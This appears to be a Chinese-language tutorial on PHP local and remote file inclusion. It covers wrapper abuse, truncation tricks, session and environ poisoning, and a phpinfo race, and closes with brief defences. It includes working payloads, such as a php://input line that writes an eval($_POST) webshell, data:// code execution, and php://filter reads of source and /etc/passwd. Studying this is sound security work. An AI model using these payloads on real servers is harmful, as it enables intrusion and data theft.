1. 文件包含
在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合
理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
2. 条件
用户能够控制这个动态变量,用户提交的文件名或文件类型没有被过滤或过滤不严谨
include()等函数通过动态变量的方式引入需要包含的文件
注意:包含过来的文件不管是什么类型的文件,只要文件中有php格式的代码均可被解析
3. 文件包含的四个函数
include
require
include_once require_once
4. 分类
4.1 LFI(LocalFileInclude)
能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。
条件:无
漏洞危害:
读取敏感文件(配置文件、服务器上配置文件)
GetShell
获取站点源码
配置文件
/etc/apache2/sites-enabled
/etc/php/7.3/apache2/conf.d
/etc/mysql/conf.d
有后缀名限制的文件包含:
%00截断 php版本<5.3
有前缀限制的文件包含:
目录跳转 ../
既有头部限制又有尾部限制:
目录跳转+%00截断 php版本<5.3
4.2 RFI(RemoteFileInclude)
allow_url_fopen 本选项激活允许文件包含函数使用URL形式的fopen的封装协议
allow_url_include PHP>=5.2 本选项激活允许访问远端文件,并解析
条件:两个参数都打开
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后,就默认为Off。
有后缀名限制的远程文件包含:
%00截断 php版本<5.3
?截断 #截断 php版本<=5.3
5.PHP伪协议
5.1 php://input
条件:allow_url_include=on,allow_url_fopen不作要求
可以通过
1 | <?PHP fputs(fopen('windy.php','w'),'<?php eval($_POST[windy])?>');?> |
直接上传WebShell
5.2 php://filter
条件:无
读取文件中的内容
1 | php://filter/read=convert.base64-encode/resource=index.php |
5.3 file://
1 | file://d:/phpstudy/www/webshell.jpg |
可以解析
5.4 phar://
条件:php版本>=5.3.0
info.txt -->打包成zip文件
相对路径
1 | phar://test.zip/phpinfo.txt |
可以直接解析zip压缩包文件下的文件
绝对路径
1 | phar://D:/phpstudy/www/test.zip/phpinfo.txt |
5.5 zip://
条件:php版本>=5.3.0
使用的过程中,只能用绝对路径,在压缩包名后写上%23
5.6 data://
条件:php版本>=5.2 allow_url_fopen=On allow_url_include=On
利用方式1:
1 | data://text/plain,<?php phpinfo();?> |
利用方式2:
1 | data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
图片来源:php伪协议实现命令执行的七种姿势
5.7 伪协议利用
5.7.1 获取服务器中session值
若可以注册用户名,可以注册带有php代码的用户名,再通过文件包含漏洞包含本地session最终实现RCE命令执行
(/tmp/ 或者 /var/lib/php/ )
login|s:3:"bee";admin|s:1:"1";token|s:40:"sessionID"
5.7.2 访问记录文件包含
包含/proc/self/environ文件GetShell
/proc/self/environ会记录User_Agent
使用插件或Burpsuite更改User_Agent
条件:php通过CGI去解析、普通用户可读
6. 文件包含防御
1.设置白名单
2.过滤危险字符
3.设置openbasedir
4.关闭危险设置(allow_url_fopen&allow_url_include)
7. Tricks
这两个姿势是从嘶吼上看到的,文件包含&奇技淫巧。
7.1 phpinfo+LFI
这个trick利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。
1.临时文件在phpinfo页面加载完毕后才会被删除。
2.phpinfo页面会将所有数据都打印出来,包括header。
3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接。
7.1.1 竞争流程
1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。
2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。
3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。
5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。
7.2 LFI+php7崩溃
利用php7 segment fault特性。
我们可以利用:
1
2 > http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd
>
这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。
8.SMB共享文件包含
9. 参考
[2] 文件包含&奇技淫巧